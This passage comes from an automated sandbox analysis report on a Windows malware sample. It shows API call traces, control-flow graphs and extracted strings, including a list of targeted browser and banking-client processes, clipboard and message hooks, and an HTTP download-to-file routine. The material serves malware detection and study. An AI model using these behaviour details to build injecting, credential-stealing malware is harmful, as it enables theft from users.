                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270FE80,00000000,00000000,00000000), ref: 02707471
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707485
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707492
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02713480,00000000,00000000,00000000), ref: 027074A7
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027074BB
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027074C8
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027143F0,00000000,00000000,00000000), ref: 027074DD
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027074F1
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027074FE
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027147D0,00000000,00000000,00000000), ref: 02707513
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707527
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707534
                                                                                                                                                                                                                        • Part of subcall function 02705720: memset.MSVCRT(?,00000000,00000103,74DEF550,75B07390,74DF0A60), ref: 02705741
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,74DEF550,75B07390,74DF0A60), ref: 02705757
                                                                                                                                                                                                                        • Part of subcall function 02705720: AddVectoredExceptionHandler.KERNEL32(00000001,026F3A20), ref: 02705764
                                                                                                                                                                                                                        • Part of subcall function 02705720: CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 0270577F
                                                                                                                                                                                                                        • Part of subcall function 02705720: CreateThread.KERNEL32(00000000,00000000,0270A7B0,00000000,00000000,00000000), ref: 02705799
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetHandleInformation.KERNEL32(00000000,?), ref: 027057B1
                                                                                                                                                                                                                        • Part of subcall function 02705720: CloseHandle.KERNEL32(00000000), ref: 027057C2
                                                                                                                                                                                                                        • Part of subcall function 02705720: InitializeCriticalSection.KERNEL32(0273FB50), ref: 027057D3
                                                                                                                                                                                                                        • Part of subcall function 02705720: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 027057E9
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetProcAddress.KERNEL32(00000000,GetClipboardData), ref: 027057FB
                                                                                                                                                                                                                        • Part of subcall function 02705720: LoadLibraryExA.KERNEL32(user32.dll,00000000,00000000), ref: 0270581A
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 02705828
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetProcAddress.KERNEL32(00000000,GetMessageA,00000000,027042A0,0274A00C), ref: 02705844
                                                                                                                                                                                                                        • Part of subcall function 02705720: GetProcAddress.KERNEL32(00000000,GetMessageW,00000000,027043D0,0274A010), ref: 02705860
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,027119A0,00000000,00000000,00000000), ref: 02707549
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270755D
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270756A
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02711C80,00000000,00000000,00000000), ref: 0270757F
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02707593
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027075A0
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026F80C0,00000000,00000000,00000000), ref: 027075B5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 027075CD
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027075E6
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\isclient.exe), ref: 027075FD
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\ipc_full.exe), ref: 02707613
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\intpro.exe), ref: 02707625
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\cbsmain.dll), ref: 02707637
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\clmain.exe), ref: 02707649
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\core.exe), ref: 0270765B
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\rundll32.exe), ref: 0270766D
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\notepad.exe), ref: 0270767F
                                                                                                                                                                                                                      • GetCurrentProcessId.KERNEL32 ref: 027076EC
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 027076FB
                                                                                                                                                                                                                      • GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02707714
                                                                                                                                                                                                                      • GetUserObjectInformationA.USER32(00000000), ref: 0270771B
                                                                                                                                                                                                                      • lstrcmpiA.KERNEL32(?,d900de8aa), ref: 02707731
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026FBC50,00000000,00000000,00000000), ref: 02707745
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270775D
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270776E
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026F7FD0,00000000,00000000,00000000), ref: 02707783
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0270779B
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027077AC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$Create$Thread$Information$Close$Security$Descriptor$AddressProc$HeapProcess$CriticalCurrentFreeInitializeModuleMutexPathSection$#680BackslashCommandConvertFileInfoLibraryLineLoadLocalNameNamedSaclStringVolume_snprintfmemset$DesktopDirectoryEnvironmentExceptionFolderHandlerMultipleObjectObjectsOpenQuerySleepSystemUserValidateValueVariableVectoredWaitWindowslstrcmpi
                                                                                                                                                                                                                      • String ID: --no-sandbox$ --no-sandbox$D900D98Aa$D900DAC6a$IsWow64Process$RtlFreeHeap$S:(ML;;NRNWNX;;;LW)$\avant.exe$\cbsmain.dll$\chrome.exe$\clmain.exe$\core.exe$\explorer.exe$\firefox.exe$\frd.exe$\iexplore.exe$\intpro.exe$\ipc_full.exe$\isclient.exe$\java.exe$\javaw.exe$\javaws.exe$\maxthon.exe$\mnp.exe$\netscape.exe$\notepad.exe$\opera.exe$\rundll32.exe$\safari.exe$\svchost.exe$\tbb-firefox.exe$d900de8aa$kernel32.dll$ntdll.dll
                                                                                                                                                                                                                      • API String ID: 1305306284-1978779349
                                                                                                                                                                                                                      • Opcode ID: 184b84b85859e94c12f77f2c3bda351179aefc84a1c18d08ab492baa73384e16
                                                                                                                                                                                                                      • Instruction ID: f7517798dbcfe5f28a5ea5828c9c8f3598e9aa77017648edac70f22591525180
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 184b84b85859e94c12f77f2c3bda351179aefc84a1c18d08ab492baa73384e16
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B9628971E81319F6FB25D7A48D86FDEBBE86F04B45F504544FA05B60C0DBB0EA098AA4
                                                                                                                                                                                                                      Function 02704AB0 Relevance: 98.4, APIs: 48, Strings: 8, Instructions: 421memorynetworkfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 216 2704ab0-2704afd memset 217 2704b03-2704b06 216->217 218 2704f75-2704f7d 216->218 217->218 219 2704b0c-2704b0f 217->219 220 2704bb0-2704bcd InternetOpenA 219->220 221 2704b15-2704b1c 219->221 222 2704bd3-2704bec InternetConnectA 220->222 223 2704f1a 220->223 224 2704b49-2704b4e 221->224 225 2704b1e-2704b38 GetProcessHeap HeapAlloc 221->225 222->223 226 2704bf2-2704bfc 222->226 227 2704f20-2704f25 223->227 224->218 230 2704b54-2704b6f memcpy 224->230 228 2704b46 225->228 229 2704b3a-2704b43 memset 225->229 231 2704c03-2704c24 HttpOpenRequestA 226->231 232 2704bfe 226->232 233 2704f43-2704f4d 227->233 234 2704f27-2704f35 GetProcessHeap HeapValidate 227->234 228->224 229->228 235 2704b70-2704b7e 230->235 231->223 236 2704c2a-2704c33 231->236 232->231 238 2704f55-2704f5a 233->238 239 2704f4f-2704f53 InternetCloseHandle 233->239 234->233 237 2704f37-2704f3d GetProcessHeap HeapFree 234->237 235->235 240 2704b80 235->240 242 2704c35-2704c39 236->242 243 2704c4e 236->243 237->233 244 2704f5c-2704f5d InternetCloseHandle 238->244 245 2704f5f-2704f64 238->245 239->238 241 2704b82-2704b93 240->241 248 2704b95 241->248 249 2704b97-2704b9e 241->249 242->243 250 2704c3b-2704c4c HttpAddRequestHeadersA 242->250 251 2704c51-2704c64 HttpAddRequestHeadersA 243->251 244->245 246 2704f66-2704f67 InternetCloseHandle 245->246 247 2704f69-2704f72 245->247 246->247 248->249 249->241 252 2704ba0-2704bab call 2708160 249->252 250->251 253 2704c96-2704c9b 251->253 254 2704c66-2704c94 _snprintf HttpAddRequestHeadersA 251->254 252->220 255 2704ca0-2704cb2 HttpSendRequestA 253->255 256 2704c9d 253->256 254->253 255->223 258 2704cb8-2704cd5 HttpQueryInfoA 255->258 256->255 258->223 259 2704cdb-2704ce2 258->259 259->223 260 2704ce8-2704d10 CreateFileA 259->260 260->223 261 2704d16-2704d1d call 2715930 260->261 264 2704d76-2704d90 GetProcessHeap HeapAlloc 261->264 265 2704d1f-2704d34 ConvertStringSecurityDescriptorToSecurityDescriptorW 261->265 267 2704d96-2704dc3 memset InternetReadFile 264->267 268 2704e5a-2704e5c 264->268 265->264 266 2704d36-2704d55 GetSecurityDescriptorSacl 265->266 271 2704d57-2704d66 SetNamedSecurityInfoA 266->271 272 2704d6c-2704d70 LocalFree 266->272 273 2704dc5-2704dca 267->273 274 2704e3e-2704e4c GetProcessHeap HeapValidate 267->274 269 2704e81-2704e95 call 26f74a0 268->269 270 2704e5e-2704e72 GetHandleInformation 268->270 269->227 282 2704e9b-2704ea5 269->282 270->269 277 2704e74-2704e78 270->277 271->272 272->264 273->274 275 2704dcc-2704e23 SetFilePointer LockFile WriteFile UnlockFile GetProcessHeap HeapValidate 273->275 274->268 276 2704e4e-2704e54 GetProcessHeap HeapFree 274->276 275->264 279 2704e29-2704e39 GetProcessHeap HeapFree 275->279 276->268 277->269 280 2704e7a-2704e7b CloseHandle 277->280 279->264 280->269 283 2704eb0-2704ebe 282->283 283->283 284 2704ec0 283->284 285 2704ec2-2704ed3 284->285 286 2704ed5 285->286 287 2704ed7-2704ede 285->287 286->287 287->285 288 2704ee0-2704f0a call 2708160 call 26f7350 GetProcessHeap HeapValidate 287->288 288->227 293 2704f0c-2704f18 GetProcessHeap HeapFree 288->293 293->227
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,00000000,026F6E36,00000000), ref: 02704AED
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000017,00000000,026F6E36,00000000), ref: 02704B27
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02704B2E
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000017), ref: 02704B3E
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,026F6E36,00000004,00000000,026F6E36,00000000), ref: 02704B5D
                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),00000000,00000000,00000000,04000000), ref: 02704BC2
                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,026F6E36,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02704BE1
                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,GET,00000000,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02704C19
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02704C4A
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02704C5E
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,Content-Type: multipart/form-data; boundary=---------------------------%s,02749C60), ref: 02704C7C
                                                                                                                                                                                                                      • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02704C94
                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000004), ref: 02704CAA
                                                                                                                                                                                                                      • HttpQueryInfoA.WININET(00000000,20000013,00000000,00000004,00000000), ref: 02704CCD
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02704D05
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00000000,00000000), ref: 02704D2C
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(00000000,026F6E36,00000004,00000000), ref: 02704D4D
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 02704D66
                                                                                                                                                                                                                      • LocalFree.KERNEL32(00000000), ref: 02704D70
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02704D83
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02704D86
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00001010), ref: 02704D9E
                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,00000000,00001000,00000000), ref: 02704DBB
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02704DDC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02704DEC
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02704DFB
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02704E0B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704E14
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02704E1B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704E2C
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02704E33
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704E41
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02704E44
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704E51
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02704E54
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000004), ref: 02704E6A
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02704E7B
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • GET, xrefs: 02704BF5
                                                                                                                                                                                                                      • Content-Type: application/x-www-form-urlencoded, xrefs: 02704C42
                                                                                                                                                                                                                      • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02704BBD
                                                                                                                                                                                                                      • Referer: http://www.google.com, xrefs: 02704C58
                                                                                                                                                                                                                      • HTTP/1.0, xrefs: 02704C11
                                                                                                                                                                                                                      • S:(ML;;NRNWNX;;;LW), xrefs: 02704D27
                                                                                                                                                                                                                      • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02704C6B
                                                                                                                                                                                                                      • POST, xrefs: 02704BFE, 02704C17
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$FileHttpProcess$Request$Security$DescriptorFreeHeadersInternetmemset$AllocHandleInfoOpenValidate$CloseConnectConvertCreateInformationLocalLockNamedPointerQueryReadSaclSendStringUnlockWrite_snprintfmemcpy
                                                                                                                                                                                                                      • String ID: Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com$S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 1453177232-3558862663
                                                                                                                                                                                                                      • Opcode ID: acacfe97d197214d207c899a14b5645068c3844c89f9384a7601336bdb7f8b90
                                                                                                                                                                                                                      • Instruction ID: 8163aa8b09272d87a7bebf309c4c2111a77ec614c6d7a606a023ed83f6a5bdeb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: acacfe97d197214d207c899a14b5645068c3844c89f9384a7601336bdb7f8b90
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BCD1C171A41215EBEB209FA58C99F9F3BA8EF48715F148514FB05E71C0DBB4E914CBA0
                                                                                                                                                                                                                      Function 027079D0 Relevance: 40.8, APIs: 27, Instructions: 286memorytimesleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 437 27079d0-27079df 438 27079e1 call 27078a0 437->438 440 27079e6-27079ec 438->440 441 27079f2-27079fa 440->441 442 2707db3-2707dbb Sleep 440->442 443 2707a00-2707a3e OpenProcess 441->443 444 2707ae6 441->444 442->438 445 2707a40-2707a60 GetProcessTimes 443->445 446 2707a9a-2707aa9 EnterCriticalSection 443->446 447 2707aea-2707b35 OpenProcess 444->447 449 2707a70-2707a74 445->449 450 2707a62-2707a6e 445->450 448 2707ab0-2707ab7 446->448 451 2707b37-2707b54 GetProcessTimes 447->451 452 2707b88-2707b99 EnterCriticalSection 447->452 454 2707ad8 448->454 455 2707ab9-2707abd 448->455 453 2707a78-2707a8a GetHandleInformation 449->453 450->453 458 2707b62 451->458 459 2707b56-2707b60 451->459 456 2707bb3-2707c63 LeaveCriticalSection VirtualQuery * 2 452->456 457 2707b9b 452->457 453->446 461 2707a8c-2707a91 453->461 465 2707ada-2707adc 454->465 455->448 462 2707abf-2707ad6 LeaveCriticalSection call 2707810 455->462 464 2707c65-2707c7c call 2714cc0 456->464 463 2707ba0-2707ba7 457->463 460 2707b66-2707b78 GetHandleInformation 458->460 459->460 460->452 466 2707b7a-2707b7f 460->466 461->446 467 2707a93-2707a94 CloseHandle 461->467 462->465 469 2707bad-2707bb1 463->469 470 2707d6f-2707d7b 463->470 478 2707c84-2707cab EnterCriticalSection GetProcessHeap HeapAlloc 464->478 479 2707c7e-2707c82 464->479 465->443 472 2707ae2 465->472 466->452 473 2707b81-2707b82 CloseHandle 466->473 467->446 469->456 469->463 470->447 475 2707d81 470->475 472->444 473->452 477 2707d85-2707d89 475->477 477->442 480 2707d8b-2707d9e GetProcessHeap HeapValidate 477->480 481 2707cb1-2707cf8 OpenProcess 478->481 482 2707d64-2707d69 LeaveCriticalSection 478->482 479->464 479->478 483 2707da0-2707da9 GetProcessHeap HeapFree 480->483 484 2707daf-2707db1 480->484 485 2707cfa-2707d17 GetProcessTimes 481->485 486 2707d4f-2707d5e 481->486 482->470 483->484 484->442 484->477 487 2707d25 485->487 488 2707d19-2707d23 485->488 486->482 489 2707d29-2707d3f GetHandleInformation 487->489 488->489 489->486 490 2707d41-2707d46 489->490 490->486 491 2707d48-2707d49 CloseHandle 490->491 491->486
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 027078A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 027078B4
                                                                                                                                                                                                                        • Part of subcall function 027078A0: Process32First.KERNEL32(00000000,?,?,00000000), ref: 027078D9
                                                                                                                                                                                                                        • Part of subcall function 027078A0: GetCurrentProcessId.KERNEL32(?,00000000), ref: 027078FD
                                                                                                                                                                                                                        • Part of subcall function 027078A0: StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex,?,?,00000000), ref: 02707917
                                                                                                                                                                                                                        • Part of subcall function 027078A0: EnterCriticalSection.KERNEL32(0273FB80,?,00000000), ref: 0270793B
                                                                                                                                                                                                                        • Part of subcall function 027078A0: GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02707941
                                                                                                                                                                                                                        • Part of subcall function 027078A0: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02707948
                                                                                                                                                                                                                        • Part of subcall function 027078A0: LeaveCriticalSection.KERNEL32(0273FB80,?,00000000), ref: 02707977
                                                                                                                                                                                                                        • Part of subcall function 027078A0: Process32Next.KERNEL32(00000000,00000128,?,00000000), ref: 0270798B
                                                                                                                                                                                                                        • Part of subcall function 027078A0: GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 027079A5
                                                                                                                                                                                                                        • Part of subcall function 027078A0: CloseHandle.KERNEL32(00000000,?,00000000), ref: 027079B6
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00000400,00000000,?), ref: 02707A34
                                                                                                                                                                                                                      • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02707A58
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02707A82
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707A94
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB80), ref: 02707A9F
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB80), ref: 02707AC4
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00000400,00000000,?), ref: 02707B2B
                                                                                                                                                                                                                      • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02707B4C
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 02707B70
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02707B82
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB80), ref: 02707B8D
                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(0273FB80), ref: 02707BB8
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(02715460,?,?), ref: 02707C06
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(02715460,?,?), ref: 02707C51
                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(0273FB80,?,?), ref: 02707C90
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000010), ref: 02707C9A
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02707CA1
                                                                                                                                                                                                                      • Sleep.KERNEL32(00000032), ref: 02707DB5
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CriticalProcessSection$Handle$EnterHeap$CloseInformationLeave$AllocOpenProcess32QueryTimesVirtual$CreateCurrentFirstNextSleepSnapshotToolhelp32
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 87146162-0
                                                                                                                                                                                                                      • Opcode ID: 37f315d6881e0b8da4935a047f3d8b8a4471536e4a4ed6d4780a75578f7cda69
                                                                                                                                                                                                                      • Instruction ID: d4205bb9c7b2c5aff1e2d204f47ccf3d58f1d3588aac331329d91fb0e9784d8b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 37f315d6881e0b8da4935a047f3d8b8a4471536e4a4ed6d4780a75578f7cda69
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7C109B5A48341DFD324CF69C884A6BFBE8BB8CB55F54891EF58987240D770A504CF92
                                                                                                                                                                                                                      Function 02704F80 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 87networkstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • IsNetworkAlive.SENSAPI(026F6E0D,00000000), ref: 02704F93
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02704FA1
                                                                                                                                                                                                                      • DnsFlushResolverCache.DNSAPI ref: 02704FAB
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,00000000,74DF0F10), ref: 02704FC8
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,74DF0F10), ref: 02704FE7
                                                                                                                                                                                                                      • StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02705000
                                                                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705013
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,74DF0F10), ref: 0270502C
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,74DF0F10), ref: 02705045
                                                                                                                                                                                                                      • StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02705058
                                                                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705065
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CheckConnectionInternetlstrcpynmemset$#680AliveCacheFlushNetworkResolver
                                                                                                                                                                                                                      • String ID: http://$www.bing.com$www.microsoft.com
                                                                                                                                                                                                                      • API String ID: 1332333999-3977723178
                                                                                                                                                                                                                      • Opcode ID: ea8a139560bd47448fd8d1d8695949e233e599e4dab7c801ca9f56e0cd906fb0
                                                                                                                                                                                                                      • Instruction ID: 8dda110d07189df8d5188b377710fcec802c52839b019f5c11af5c3045ab52aa
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ea8a139560bd47448fd8d1d8695949e233e599e4dab7c801ca9f56e0cd906fb0
